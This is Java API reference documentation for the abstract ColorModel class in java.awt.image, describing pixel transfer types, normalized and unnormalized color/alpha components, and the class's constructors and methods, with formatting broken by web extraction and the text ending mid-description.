public abstract class ColorModel extends Object implements Transparency
ColorModel
abstract class encapsulates the
methods for translating a pixel value to color components
(for example, red, green, and blue) and an alpha component.
In order to render an image to the screen, a printer, or another
image, pixel values must be converted to color and alpha components.
As arguments to or return values from methods of this class,
pixels are represented as 32-bit ints or as arrays of primitive types.
The number, order, and interpretation of color components for a
ColorModel
is specified by its ColorSpace
.
A ColorModel
used with pixel data that does not include
alpha information treats all pixels as opaque, which is an alpha
value of 1.0.
This ColorModel
class supports two representations of
pixel values. A pixel value can be a single 32-bit int or an
array of primitive types. The Java(tm) Platform 1.0 and 1.1 APIs
represented pixels as single byte
or single
int
values. For purposes of the ColorModel
class, pixel value arguments were passed as ints. The Java(tm) 2
Platform API introduced additional classes for representing images.
With BufferedImage
or RenderedImage
objects, based on Raster
and SampleModel
classes, pixel
values might not be conveniently representable as a single int.
Consequently, ColorModel
now has methods that accept
pixel values represented as arrays of primitive types. The primitive
type used by a particular ColorModel
object is called its
transfer type.
ColorModel
objects used with images for which pixel values
are not conveniently representable as a single int throw an
IllegalArgumentException
when methods taking a single int pixel
argument are called. Subclasses of ColorModel
must
specify the conditions under which this occurs. This does not
occur with DirectColorModel
or IndexColorModel
objects.
Currently, the transfer types supported by the Java 2D(tm) API are
DataBuffer.TYPE_BYTE, DataBuffer.TYPE_USHORT, DataBuffer.TYPE_INT,
DataBuffer.TYPE_SHORT, DataBuffer.TYPE_FLOAT, and DataBuffer.TYPE_DOUBLE.
Most rendering operations will perform much faster when using ColorModels
and images based on the first three of these types. In addition, some
image filtering operations are not supported for ColorModels and
images based on the latter three types.
The transfer type for a particular ColorModel
object is
specified when the object is created, either explicitly or by default.
All subclasses of ColorModel
must specify what the
possible transfer types are and how the number of elements in the
primitive arrays representing pixels is determined.
For BufferedImages
, the transfer type of its
Raster
and of the Raster
object's
SampleModel
(available from the
getTransferType
methods of these classes) must match that
of the ColorModel
. The number of elements in an array
representing a pixel for the Raster
and
SampleModel
(available from the
getNumDataElements
methods of these classes) must match
that of the ColorModel
.
The algorithm used to convert from pixel values to color and alpha
components varies by subclass. For example, there is not necessarily
a one-to-one correspondence between samples obtained from the
SampleModel
of a BufferedImage
object's
Raster
and color/alpha components. Even when
there is such a correspondence, the number of bits in a sample is not
necessarily the same as the number of bits in the corresponding color/alpha
component. Each subclass must specify how the translation from
pixel values to color/alpha components is done.
Methods in the ColorModel
class use two different
representations of color and alpha components - a normalized form
and an unnormalized form. In the normalized form, each component is a
float
value between some minimum and maximum values. For
the alpha component, the minimum is 0.0 and the maximum is 1.0. For
color components the minimum and maximum values for each component can
be obtained from the ColorSpace
object. These values
will often be 0.0 and 1.0 (e.g. normalized component values for the
default sRGB color space range from 0.0 to 1.0), but some color spaces
have component values with different upper and lower limits. These
limits can be obtained using the getMinValue
and
getMaxValue
methods of the ColorSpace
class. Normalized color component values are not premultiplied.
All ColorModels
must support the normalized form.
In the unnormalized
form, each component is an unsigned integral value between 0 and
2n - 1, where n is the number of significant bits for a
particular component. If pixel values for a particular
ColorModel
represent color samples premultiplied by
the alpha sample, unnormalized color component values are
also premultiplied. The unnormalized form is used only with instances
of ColorModel
whose ColorSpace
has minimum
component values of 0.0 for all components and maximum values of
1.0 for all components.
The unnormalized form for color and alpha components can be a convenient
representation for ColorModels
whose normalized component
values all lie
between 0.0 and 1.0. In such cases the integral value 0 maps to 0.0 and
the value 2n - 1 maps to 1.0. In other cases, such as
when the normalized component values can be either negative or positive,
the unnormalized form is not convenient. Such ColorModel
objects throw an IllegalArgumentException
when methods involving
an unnormalized argument are called. Subclasses of ColorModel
must specify the conditions under which this occurs.
| Modifier and Type | Field and Description |
|---|---|
protected int |
pixel_bits
The total number of bits in the pixel.
|
protected int |
transferType
Data type of the array used to represent pixel values.
|
BITMASK, OPAQUE, TRANSLUCENT
| Modifier | Constructor and Description |
|---|---|
|
ColorModel(int bits)
Constructs a
ColorModel that translates pixels of the
specified number of bits to color/alpha components. |
protected |
ColorModel(int pixel_bits,
int[] bits,
ColorSpace cspace,
boolean hasAlpha,
boolean isAlphaPremultiplied,
int transparency,
int transferType)
Constructs a
ColorModel that translates pixel values
to color/alpha components. |
| Modifier and Type | Method and Description |
|---|---|
ColorModel |
coerceData(WritableRaster raster,
boolean isAlphaPremultiplied)
Forces the raster data to match the state specified in the
isAlphaPremultiplied variable, assuming the data is
currently correctly described by this ColorModel . |
SampleModel |
createCompatibleSampleModel(int w,
int h)
Creates a
SampleModel with the specified width and
height that has a data layout compatible with this
ColorModel . |
WritableRaster |
createCompatibleWritableRaster(int w,
int h)
Creates a
WritableRaster with the specified width and
height that has a data layout (SampleModel ) compatible
with this ColorModel . |
boolean |
equals(Object obj)
Tests if the specified
Object is an instance of
ColorModel and if it equals this
ColorModel . |
void |
finalize()
Disposes of system resources associated with this
ColorModel once this ColorModel is no
longer referenced. |
abstract int |
getAlpha(int pixel)
Returns the alpha component for the specified pixel, scaled
from 0 to 255.
|
int |
getAlpha(Object inData)
Returns the alpha component for the specified pixel, scaled
from 0 to 255.
|
WritableRaster |
getAlphaRaster(WritableRaster raster)
Returns a
Raster representing the alpha channel of an
image, extracted from the input Raster , provided that
pixel values of this ColorModel represent color and
alpha information as separate spatial bands (e.g. |
abstract int |
getBlue(int pixel)
Returns the blue color component for the specified pixel, scaled
from 0 to 255 in the default RGB ColorSpace, sRGB.
|
int |
getBlue(Object inData)
Returns the blue color component for the specified pixel, scaled
from 0 to 255 in the default RGB
ColorSpace , sRGB. |
ColorSpace |
getColorSpace()
Returns the
ColorSpace associated with this
ColorModel . |
int[] |
getComponents(int pixel,
int[] components,
int offset)
Returns an array of unnormalized color/alpha components given a pixel
in this
ColorModel . |
int[] |
getComponents(Object pixel,
int[] components,
int offset)
Returns an array of unnormalized color/alpha components given a pixel
in this
ColorModel . |
int[] |
getComponentSize()
Returns an array of the number of bits per color/alpha component.
|
int |
getComponentSize(int componentIdx)
Returns the number of bits for the specified color/alpha component.
|
int |
getDataElement(float[] normComponents,
int normOffset)
Returns a pixel value represented as an
int in this
ColorModel , given an array of normalized color/alpha
components. |
int |
getDataElement(int[] components,
int offset)
Returns a pixel value represented as an
int in this
ColorModel , given an array of unnormalized color/alpha
components. |
Object |
getDataElements(float[] normComponents,
int normOffset,
Object obj)
Returns a data element array representation of a pixel in this
ColorModel , given an array of normalized color/alpha
components. |
Object |
getDataElements(int[] components,
int offset,
Object obj)
Returns a data element array representation of a pixel in this
ColorModel , given an array of unnormalized color/alpha
components. |
Object |
getDataElements(int rgb,
Object pixel)
Returns a data element array representation of a pixel in this
ColorModel , given an integer pixel representation in
the default RGB color model. |
abstract int |
getGreen(int pixel)
Returns the green color component for the specified pixel, scaled
from 0 to 255 in the default RGB ColorSpace, sRGB.
|
int |
getGreen(Object inData)
Returns the green color component for the specified pixel, scaled
from 0 to 255 in the default RGB
ColorSpace , sRGB. |
float[] |
getNormalizedComponents(int[] components,
int offset,
float[] normComponents,
int normOffset)
Returns an array of all of the color/alpha components in normalized
form, given an unnormalized component array.
|
float[] |
getNormalizedComponents(Object pixel,
float[] normComponents,
int normOffset)
Returns an array of all of the color/alpha components in normalized
form, given a pixel in this
ColorModel . |
int |
getNumColorComponents()
Returns the number of color components in this
ColorModel . |
int |
getNumComponents()
Returns the number of components, including alpha, in this
ColorModel . |
int |
getPixelSize()
Returns the number of bits per pixel described by this
ColorModel . |
abstract int |
getRed(int pixel)
Returns the red color component for the specified pixel, scaled
from 0 to 255 in the default RGB ColorSpace, sRGB.
|
int |
getRed(Object inData)
Returns the red color component for the specified pixel, scaled
from 0 to 255 in the default RGB
ColorSpace , sRGB. |
int |
getRGB(int pixel)
Returns the color/alpha components of the pixel in the default
RGB color model format.
|
int |
getRGB(Object inData)
Returns the color/alpha components for the specified pixel in the
default RGB color model format.
|
static ColorModel |
getRGBdefault()
Returns a
DirectColorModel that describes the default
format for integer RGB values used in many of the methods in the
AWT image interfaces for the convenience of the programmer. |
int |
getTransferType()
Returns the transfer type of this
ColorModel . |
int |
getTransparency()
Returns the transparency.
|
int[] |
getUnnormalizedComponents(float[] normComponents,
int normOffset,
int[] components,
int offset)
Returns an array of all of the color/alpha components in unnormalized
form, given a normalized component array.
|
boolean |
hasAlpha()
Returns whether or not alpha is supported in this
ColorModel . |
int |
hashCode()
Returns the hash code for this ColorModel.
|
boolean |
isAlphaPremultiplied()
Returns whether or not the alpha has been premultiplied in the
pixel values to be translated by this
ColorModel . |
boolean |
isCompatibleRaster(Raster raster)
Returns
true if raster is compatible
with this ColorModel and false if it is
not. |
boolean |
isCompatibleSampleModel(SampleModel sm)
Checks if the
SampleModel is compatible with this
ColorModel . |
String |
toString()
Returns the
String representation of the contents of
this ColorModel object. |
protected int pixel_bits
protected int transferType
public ColorModel(int bits)
ColorModel
that translates pixels of the
specified number of bits to color/alpha components. The color
space is the default RGB ColorSpace
, which is sRGB.
Pixel values are assumed to include alpha information. If color
and alpha information are represented in the pixel value as
separate spatial bands, the color bands are assumed not to be
premultiplied with the alpha value. The transparency type is
java.awt.Transparency.TRANSLUCENT. The transfer type will be the
smallest of DataBuffer.TYPE_BYTE, DataBuffer.TYPE_USHORT,
or DataBuffer.TYPE_INT that can hold a single pixel
(or DataBuffer.TYPE_UNDEFINED if bits is greater
than 32). Since this constructor has no information about the
number of bits per color and alpha component, any subclass calling
this constructor should override any method that requires this
information.bits
- the number of bits of a pixelIllegalArgumentException
- if the number
of bits in bits
is less than 1protected ColorModel(int pixel_bits, int[] bits, ColorSpace cspace, boolean hasAlpha, boolean isAlphaPremultiplied, int transparency, int transferType)
ColorModel
that translates pixel values
to color/alpha components. Color components will be in the
specified ColorSpace
. pixel_bits
is the
number of bits in the pixel values. The bits array
specifies the number of significant bits per color and alpha component.
Its length should be the number of components in the
ColorSpace
if there is no alpha information in the
pixel values, or one more than this number if there is alpha
information. hasAlpha
indicates whether or not alpha
information is present. The boolean
isAlphaPremultiplied
specifies how to interpret pixel
values in which color and alpha information are represented as
separate spatial bands. If the boolean
is true
, color samples are assumed to have been
multiplied by the alpha sample. The transparency
specifies what alpha values can be represented by this color model.
The transfer type is the type of primitive array used to represent
pixel values. Note that the bits array contains the number of
significant bits per color/alpha component after the translation
from pixel values. For example, for an
IndexColorModel
with pixel_bits
equal to
16, the bits array might have four elements with each element set
to 8.pixel_bits
- the number of bits in the pixel valuesbits
- array that specifies the number of significant bits
per color and alpha componentcspace
- the specified ColorSpace
hasAlpha
- true
if alpha information is present;
false
otherwiseisAlphaPremultiplied
- true
if color samples are
assumed to be premultiplied by the alpha samples;
false
otherwisetransparency
- what alpha values can be represented by this
color modeltransferType
- the type of the array used to represent pixel
valuesIllegalArgumentException
- if the length of
the bit array is less than the number of color or alpha
components in this ColorModel
, or if the
transparency is not a valid value.IllegalArgumentException
- if the sum of the number
of bits in bits
is less than 1 or if
any of the elements in bits
is less than 0.Transparency
public static ColorModel getRGBdefault()
DirectColorModel
that describes the default
format for integer RGB values used in many of the methods in the
AWT image interfaces for the convenience of the programmer.
The color space is the default ColorSpace
, sRGB.
The format for the RGB values is an integer with 8 bits
each of alpha, red, green, and blue color components ordered
correspondingly from the most significant byte to the least
significant byte, as in: 0xAARRGGBB. Color components are
not premultiplied by the alpha component. This format does not
necessarily represent the native or the most efficient
ColorModel
for a particular device or for all images.
It is merely used as a common color model format.DirectColorModel
object describing default
RGB values.public final boolean hasAlpha()
ColorModel
.true
if alpha is supported in this
ColorModel
; false
otherwise.public final boolean isAlphaPremultiplied()
ColorModel
.
If the boolean is true
, this ColorModel
is to be used to interpret pixel values in which color and alpha
information are represented as separate spatial bands, and color
samples are assumed to have been multiplied by the
alpha sample.true
if the alpha values are premultiplied
in the pixel values to be translated by this
ColorModel
; false
otherwise.public final int getTransferType()
ColorModel
.
The transfer type is the type of primitive array used to represent
pixel values as arrays.public int getPixelSize()
ColorModel
.public int getComponentSize(int componentIdx)
ColorSpace
. Typically, this order reflects the name
of the color space type. For example, for TYPE_RGB, index 0
corresponds to red, index 1 to green, and index 2
to blue. If this ColorModel
supports alpha, the alpha
component corresponds to the index following the last color
component.componentIdx
- the index of the color/alpha componentArrayIndexOutOfBoundsException
- if componentIdx
is greater than the number of components or
less than zeroNullPointerException
- if the number of bits array is
null
public int[] getComponentSize()
ColorSpace
, followed by the alpha component, if
present.public int getTransparency()
getTransparency
in interface Transparency
ColorModel
.Transparency.OPAQUE
,
Transparency.BITMASK
,
Transparency.TRANSLUCENT
public int getNumComponents()
ColorModel
. This is equal to the number of color
components, optionally plus one, if there is an alpha component.ColorModel
public int getNumColorComponents()
ColorModel
.
This is the number of components returned by
ColorSpace.getNumComponents()
.ColorModel
.ColorSpace.getNumComponents()
public abstract int getRed(int pixel)
IllegalArgumentException
is thrown if pixel
values for this ColorModel
are not conveniently
representable as a single int. The returned value is not a
pre-multiplied value. For example, if the
alpha is premultiplied, this method divides it out before returning
the value. If the alpha value is 0, the red value is 0.pixel
- a specified pixelpublic abstract int getGreen(int pixel)
IllegalArgumentException
is thrown if pixel
values for this ColorModel
are not conveniently
representable as a single int. The returned value is a non
pre-multiplied value. For example, if the alpha is premultiplied,
this method divides it out before returning
the value. If the alpha value is 0, the green value is 0.pixel
- the specified pixelpublic abstract int getBlue(int pixel)
IllegalArgumentException
is thrown if pixel values
for this ColorModel
are not conveniently representable
as a single int. The returned value is a non pre-multiplied
value, for example, if the alpha is premultiplied, this method
divides it out before returning the value. If the alpha value is
0, the blue value is 0.pixel
- the specified pixelpublic abstract int getAlpha(int pixel)
IllegalArgumentException
is thrown if pixel
values for this ColorModel
are not conveniently
representable as a single int.pixel
- the specified pixelpublic int getRGB(int pixel)
IllegalArgumentException
thrown if pixel values
for this ColorModel
are not conveniently representable
as a single int. The returned value is in a non
pre-multiplied format. For example, if the alpha is premultiplied,
this method divides it out of the color components. If the alpha
value is 0, the color values are 0.pixel
- the specified pixelgetRGBdefault()
public int getRed(Object inData)
ColorSpace
, sRGB. A
color conversion is done if necessary. The pixel value is
specified by an array of data elements of type transferType passed
in as an object reference. The returned value is a non
pre-multiplied value. For example, if alpha is premultiplied,
this method divides it out before returning
the value. If the alpha value is 0, the red value is 0.
If inData
is not a primitive array of type
transferType, a ClassCastException
is thrown. An
ArrayIndexOutOfBoundsException
is thrown if
inData
is not large enough to hold a pixel value for
this ColorModel
.
If this transferType
is not supported, a
UnsupportedOperationException
will be
thrown. Since
ColorModel
is an abstract class, any instance
must be an instance of a subclass. Subclasses inherit the
implementation of this method and if they don't override it, this
method throws an exception if the subclass uses a
transferType
other than
DataBuffer.TYPE_BYTE
,
DataBuffer.TYPE_USHORT
, or
DataBuffer.TYPE_INT
.inData
- an array of pixel valuesClassCastException
- if inData
is not a primitive array of type transferType
ArrayIndexOutOfBoundsException
- if
inData
is not large enough to hold a pixel value
for this ColorModel
UnsupportedOperationException
- if this
tranferType
is not supported by this
ColorModel
public int getGreen(Object inData)
ColorSpace
, sRGB. A
color conversion is done if necessary. The pixel value is
specified by an array of data elements of type transferType passed
in as an object reference. The returned value will be a non
pre-multiplied value. For example, if the alpha is premultiplied,
this method divides it out before returning the value. If the
alpha value is 0, the green value is 0. If inData
is
not a primitive array of type transferType, a
ClassCastException
is thrown. An
ArrayIndexOutOfBoundsException
is thrown if
inData
is not large enough to hold a pixel value for
this ColorModel
.
If this transferType
is not supported, a
UnsupportedOperationException
will be
thrown. Since
ColorModel
is an abstract class, any instance
must be an instance of a subclass. Subclasses inherit the
implementation of this method and if they don't override it, this
method throws an exception if the subclass uses a
transferType
other than
DataBuffer.TYPE_BYTE
,
DataBuffer.TYPE_USHORT
, or
DataBuffer.TYPE_INT
.inData
- an array of pixel valuesClassCastException
- if inData
is not a primitive array of type transferType
ArrayIndexOutOfBoundsException
- if
inData
is not large enough to hold a pixel value
for this ColorModel
UnsupportedOperationException
- if this
tranferType
is not supported by this
ColorModel
public int getBlue(Object inData)
ColorSpace
, sRGB. A
color conversion is done if necessary. The pixel value is
specified by an array of data elements of type transferType passed
in as an object reference. The returned value is a non
pre-multiplied value. For example, if the alpha is premultiplied,
this method divides it out before returning the value. If the
alpha value is 0, the blue value will be 0. If
inData
is not a primitive array of type transferType,
a ClassCastException
is thrown. An
ArrayIndexOutOfBoundsException
is
thrown if inData
is not large enough to hold a pixel
value for this ColorModel
.
If this transferType
is not supported, a
UnsupportedOperationException
will be
thrown. Since
ColorModel
is an abstract class, any instance
must be an instance of a subclass. Subclasses inherit the
implementation of this method and if they don't override it, this
method throws an exception if the subclass uses a
transferType
other than
DataBuffer.TYPE_BYTE
,
DataBuffer.TYPE_USHORT
, or
DataBuffer.TYPE_INT
.inData
- an array of pixel valuesClassCastException
- if inData
is not a primitive array of type transferType
ArrayIndexOutOfBoundsException
- if
inData
is not large enough to hold a pixel value
for this ColorModel
UnsupportedOperationException
- if this
tranferType
is not supported by this
ColorModel
public int getAlpha(Object inData)
ClassCastException
is thrown. An
ArrayIndexOutOfBoundsException
is thrown if
inData
is not large enough to hold a pixel value for
this ColorModel
.
If this transferType
is not supported, a
UnsupportedOperationException
will be
thrown. Since
ColorModel
is an abstract class, any instance
must be an instance of a subclass. Subclasses inherit the
implementation of this method and if they don't override it, this
method throws an exception if the subclass uses a
transferType
other than
DataBuffer.TYPE_BYTE
,
DataBuffer.TYPE_USHORT
, or
DataBuffer.TYPE_INT
.inData
- the specified pixelClassCastException
- if inData
is not a primitive array of type transferType
ArrayIndexOutOfBoundsException
- if
inData
is not large enough to hold a pixel value
for this ColorModel
UnsupportedOperationException
- if this
tranferType
is not supported by this
ColorModel
public int getRGB(Object inData)
ClassCastException
is thrown. An
ArrayIndexOutOfBoundsException
is
thrown if inData
is not large enough to hold a pixel
value for this ColorModel
.
The returned value will be in a non pre-multiplied format, i.e. if
the alpha is premultiplied, this method will divide it out of the
color components (if the alpha value is 0, the color values will be 0).inData
- the specified pixelgetRGBdefault()
public Object getDataElements(int rgb, Object pixel)
ColorModel
, given an integer pixel representation in
the default RGB color model.
This array can then be passed to the
WritableRaster.setDataElements(int, int, java.lang.Object)
method of
a WritableRaster
object. If the pixel variable is
null
, a new array will be allocated. If
pixel
is not
null
, it must be a primitive array of type
transferType
; otherwise, a
ClassCastException
is thrown. An
ArrayIndexOutOfBoundsException
is thrown if
pixel
is
not large enough to hold a pixel value for this
ColorModel
. The pixel array is returned.
If this transferType
is not supported, a
UnsupportedOperationException
will be
thrown. Since ColorModel
is an abstract class,
any instance is an instance of a subclass. Subclasses must
override this method since the implementation in this abstract
class throws an UnsupportedOperationException
.rgb
- the integer pixel representation in the default RGB
color modelpixel
- the specified pixelColorModel
.ClassCastException
- if pixel
is not a primitive array of type transferType
ArrayIndexOutOfBoundsException
- if
pixel
is not large enough to hold a pixel value
for this ColorModel
UnsupportedOperationException
- if this
method is not supported by this ColorModel
WritableRaster.setDataElements(int, int, java.lang.Object)
,
SampleModel.setDataElements(int, int, java.lang.Object, java.awt.image.DataBuffer)
public int[] getComponents(int pixel, int[] components, int offset)
ColorModel
. The pixel value is specified as
an int
. An IllegalArgumentException
will be thrown if pixel values for this ColorModel
are
not conveniently representable as a single int
or if
color component values for this ColorModel
are not
conveniently representable in the unnormalized form.
For example, this method can be used to retrieve the
components for a specific pixel value in a
DirectColorModel
. If the components array is
null
, a new array will be allocated. The
components array will be returned. Color/alpha components are
stored in the components array starting at offset
(even if the array is allocated by this method). An
ArrayIndexOutOfBoundsException
is thrown if the
components array is not null
and is not large
enough to hold all the color and alpha components (starting at offset).
Since ColorModel
is an abstract class,
any instance is an instance of a subclass. Subclasses must
override this method since the implementation in this abstract
class throws an UnsupportedOperationException
.pixel
- the specified pixelcomponents
- the array to receive the color and alpha
components of the specified pixeloffset
- the offset into the components
array at
which to start storing the color and alpha componentsUnsupportedOperationException
- if this
method is not supported by this ColorModel
public int[] getComponents(Object pixel, int[] components, int offset)
ColorModel
. The pixel value is specified by
an array of data elements of type transferType passed in as an
object reference. If pixel
is not a primitive array
of type transferType, a ClassCastException
is thrown.
An IllegalArgumentException
will be thrown if color
component values for this ColorModel
are not
conveniently representable in the unnormalized form.
An ArrayIndexOutOfBoundsException
is
thrown if pixel
is not large enough to hold a pixel
value for this ColorModel
.
This method can be used to retrieve the components for a specific
pixel value in any ColorModel
. If the components
array is null
, a new array will be allocated. The
components array will be returned. Color/alpha components are
stored in the components
array starting at
offset
(even if the array is allocated by this
method). An ArrayIndexOutOfBoundsException
is thrown if the components array is not null
and is
not large enough to hold all the color and alpha components
(starting at offset
).
Since ColorModel
is an abstract class,
any instance is an instance of a subclass. Subclasses must
override this method since the implementation in this abstract
class throws an UnsupportedOperationException
.pixel
- the specified pixelcomponents
- an array that receives the color and alpha
components of the specified pixeloffset
- the index into the components
array at
which to begin storing the color and alpha components of the
specified pixelUnsupportedOperationException
- if this
method is not supported by this ColorModel
public int[] getUnnormalizedComponents(float[] normComponents, int normOffset, int[] components, int offset)
ColorSpace
object for this
ColorModel
. An IllegalArgumentException
will be thrown if color component values for this
ColorModel
are not conveniently representable in the
unnormalized form. If the
components
array is null
, a new array
will be allocated. The components
array will
be returned. Color/alpha components are stored in the
components
array starting at offset
(even
if the array is allocated by this method). An
ArrayIndexOutOfBoundsException
is thrown if the
components
array is not null
and is not
large enough to hold all the color and alpha
components (starting at offset
). An
IllegalArgumentException
is thrown if the
normComponents
array is not large enough to hold
all the color and alpha components starting at
normOffset
.normComponents
- an array containing normalized componentsnormOffset
- the offset into the normComponents
array at which to start retrieving normalized componentscomponents
- an array that receives the components from
normComponents
offset
- the index into components
at which to
begin storing normalized components from
normComponents
IllegalArgumentException
- If the component values for this
ColorModel
are not conveniently representable in the
unnormalized form.IllegalArgumentException
- if the length of
normComponents
minus normOffset
is less than numComponents
UnsupportedOperationException
- if the
constructor of this ColorModel
called the
super(bits)
constructor, but did not
override this method. See the constructor,
ColorModel(int)
.public float[] getNormalizedComponents(int[] components, int offset, float[] normComponents, int normOffset)
ColorSpace
object for this
ColorModel
. An IllegalArgumentException
will be thrown if color component values for this
ColorModel
are not conveniently representable in the
unnormalized form. If the
normComponents
array is null
, a new array
will be allocated. The normComponents
array
will be returned. Color/alpha components are stored in the
normComponents
array starting at
normOffset
(even if the array is allocated by this
method). An ArrayIndexOutOfBoundsException
is thrown
if the normComponents
array is not null
and is not large enough to hold all the color and alpha components
(starting at normOffset
). An
IllegalArgumentException
is thrown if the
components
array is not large enough to hold all the
color and alpha components starting at offset
.
Since ColorModel
is an abstract class,
any instance is an instance of a subclass. The default implementation
of this method in this abstract class assumes that component values
for this class are conveniently representable in the unnormalized
form. Therefore, subclasses which may
have instances which do not support the unnormalized form must
override this method.
components
- an array containing unnormalized componentsoffset
- the offset into the components
array at
which to start retrieving unnormalized componentsnormComponents
- an array that receives the normalized componentsnormOffset
- the index into normComponents
at
which to begin storing normalized componentsIllegalArgumentException
- If the component values for this
ColorModel
are not conveniently representable in the
unnormalized form.UnsupportedOperationException
- if the
constructor of this ColorModel
called the
super(bits)
constructor, but did not
override this method. See the constructor,
ColorModel(int)
.UnsupportedOperationException
- if this method is unable
to determine the number of bits per componentpublic int getDataElement(int[] components, int offset)
int
in this
ColorModel
, given an array of unnormalized color/alpha
components. This method will throw an
IllegalArgumentException
if component values for this
ColorModel
are not conveniently representable as a
single int
or if color component values for this
ColorModel
are not conveniently representable in the
unnormalized form. An
ArrayIndexOutOfBoundsException
is thrown if the
components
array is not large enough to hold all the
color and alpha components (starting at offset
).
Since ColorModel
is an abstract class,
any instance is an instance of a subclass. Subclasses must
override this method since the implementation in this abstract
class throws an UnsupportedOperationException
.components
- an array of unnormalized color and alpha
componentsoffset
- the index into components
at which to
begin retrieving the color and alpha componentsint
pixel value in this
ColorModel
corresponding to the specified components.IllegalArgumentException
- if
pixel values for this ColorModel
are not
conveniently representable as a single int
IllegalArgumentException
- if
component values for this ColorModel
are not
conveniently representable in the unnormalized formArrayIndexOutOfBoundsException
- if
the components
array is not large enough to
hold all of the color and alpha components starting at
offset
UnsupportedOperationException
- if this
method is not supported by this ColorModel
public Object getDataElements(int[] components, int offset, Object obj)
ColorModel
, given an array of unnormalized color/alpha
components. This array can then be passed to the
setDataElements
method of a WritableRaster
object. This method will throw an IllegalArgumentException
if color component values for this ColorModel
are not
conveniently representable in the unnormalized form.
An ArrayIndexOutOfBoundsException
is thrown
if the components
array is not large enough to hold
all the color and alpha components (starting at
offset
). If the obj
variable is
null
, a new array will be allocated. If
obj
is not null
, it must be a primitive
array of type transferType; otherwise, a
ClassCastException
is thrown. An
ArrayIndexOutOfBoundsException
is thrown if
obj
is not large enough to hold a pixel value for this
ColorModel
.
Since ColorModel
is an abstract class,
any instance is an instance of a subclass. Subclasses must
override this method since the implementation in this abstract
class throws an UnsupportedOperationException
.components
- an array of unnormalized color and alpha
componentsoffset
- the index into components
at which to
begin retrieving color and alpha componentsobj
- the Object
representing an array of color
and alpha componentsObject
representing an array of color and
alpha components.ClassCastException
- if obj
is not a primitive array of type transferType
ArrayIndexOutOfBoundsException
- if
obj
is not large enough to hold a pixel value
for this ColorModel
or the components
array is not large enough to hold all of the color and alpha
components starting at offset
IllegalArgumentException
- if
component values for this ColorModel
are not
conveniently representable in the unnormalized formUnsupportedOperationException
- if this
method is not supported by this ColorModel
WritableRaster.setDataElements(int, int, java.lang.Object)
,
SampleModel.setDataElements(int, int, java.lang.Object, java.awt.image.DataBuffer)
public int getDataElement(float[] normComponents, int normOffset)
int
in this
ColorModel
, given an array of normalized color/alpha
components. This method will throw an
IllegalArgumentException
if pixel values for this
ColorModel
are not conveniently representable as a
single int
. An
ArrayIndexOutOfBoundsException
is thrown if the
normComponents
array is not large enough to hold all the
color and alpha components (starting at normOffset
).
Since ColorModel
is an abstract class,
any instance is an instance of a subclass. The default implementation
of this method in this abstract class first converts from the
normalized form to the unnormalized form and then calls
getDataElement(int[], int)
. Subclasses which may
have instances which do not support the unnormalized form must
override this method.normComponents
- an array of normalized color and alpha
componentsnormOffset
- the index into normComponents
at which to
begin retrieving the color and alpha componentsint
pixel value in this
ColorModel
corresponding to the specified components.IllegalArgumentException
- if
pixel values for this ColorModel
are not
conveniently representable as a single int
ArrayIndexOutOfBoundsException
- if
the normComponents
array is not large enough to
hold all of the color and alpha components starting at
normOffset
public Object getDataElements(float[] normComponents, int normOffset, Object obj)
ColorModel
, given an array of normalized color/alpha
components. This array can then be passed to the
setDataElements
method of a WritableRaster
object. An ArrayIndexOutOfBoundsException
is thrown
if the normComponents
array is not large enough to hold
all the color and alpha components (starting at
normOffset
). If the obj
variable is
null
, a new array will be allocated. If
obj
is not null
, it must be a primitive
array of type transferType; otherwise, a
ClassCastException
is thrown. An
ArrayIndexOutOfBoundsException
is thrown if
obj
is not large enough to hold a pixel value for this
ColorModel
.
Since ColorModel
is an abstract class,
any instance is an instance of a subclass. The default implementation
of this method in this abstract class first converts from the
normalized form to the unnormalized form and then calls
getDataElement(int[], int, Object)
. Subclasses which may
have instances which do not support the unnormalized form must
override this method.normComponents
- an array of normalized color and alpha
componentsnormOffset
- the index into normComponents
at which to
begin retrieving color and alpha componentsobj
- a primitive data array to hold the returned pixelObject
which is a primitive data array
representation of a pixelClassCastException
- if obj
is not a primitive array of type transferType
ArrayIndexOutOfBoundsException
- if
obj
is not large enough to hold a pixel value
for this ColorModel
or the normComponents
array is not large enough to hold all of the color and alpha
components starting at normOffset
WritableRaster.setDataElements(int, int, java.lang.Object)
,
SampleModel.setDataElements(int, int, java.lang.Object, java.awt.image.DataBuffer)
public float[] getNormalizedComponents(Object pixel, float[] normComponents, int normOffset)
ColorModel
. The pixel
value is specified by an array of data elements of type transferType
passed in as an object reference. If pixel is not a primitive array
of type transferType, a ClassCastException
is thrown.
An ArrayIndexOutOfBoundsException
is thrown if
pixel
is not large enough to hold a pixel value for this
ColorModel
.
Normalized components are float values between a per component minimum
and maximum specified by the ColorSpace
object for this
ColorModel
. If the
normComponents
array is null
, a new array
will be allocated. The normComponents
array
will be returned. Color/alpha components are stored in the
normComponents
array starting at
normOffset
(even if the array is allocated by this
method). An ArrayIndexOutOfBoundsException
is thrown
if the normComponents
array is not null
and is not large enough to hold all the color and alpha components
(starting at normOffset
).
Since ColorModel
is an abstract class,
any instance is an instance of a subclass. The default implementation
of this method in this abstract class first retrieves color and alpha
components in the unnormalized form using
getComponents(Object, int[], int)
and then calls
getNormalizedComponents(int[], int, float[], int)
.
Subclasses which may
have instances which do not support the unnormalized form must
override this method.pixel
- the specified pixelnormComponents
- an array to receive the normalized componentsnormOffset
- the offset into the normComponents
array at which to start storing normalized componentsClassCastException
- if pixel
is not a primitive
array of type transferTypeArrayIndexOutOfBoundsException
- if
normComponents
is not large enough to hold all
color and alpha components starting at normOffset
ArrayIndexOutOfBoundsException
- if
pixel
is not large enough to hold a pixel
value for this ColorModel
.UnsupportedOperationException
- if the
constructor of this ColorModel
called the
super(bits)
constructor, but did not
override this method. See the constructor,
ColorModel(int)
.UnsupportedOperationException
- if this method is unable
to determine the number of bits per componentpublic boolean equals(Object obj)
Object
is an instance of
ColorModel
and if it equals this
ColorModel
.equals
in class Object
obj
- the Object
to test for equalitytrue
if the specified Object
is an instance of ColorModel
and equals this
ColorModel
; false
otherwise.Object.hashCode()
,
HashMap
public int hashCode()
hashCode
in class Object
Object.equals(java.lang.Object)
,
System.identityHashCode(java.lang.Object)
public final ColorSpace getColorSpace()
ColorSpace
associated with this
ColorModel
.ColorSpace
of this
ColorModel
.public ColorModel coerceData(WritableRaster raster, boolean isAlphaPremultiplied)
isAlphaPremultiplied
variable, assuming the data is
currently correctly described by this ColorModel
. It
may multiply or divide the color raster data by alpha, or do
nothing if the data is in the correct state. If the data needs to
be coerced, this method will also return an instance of this
ColorModel
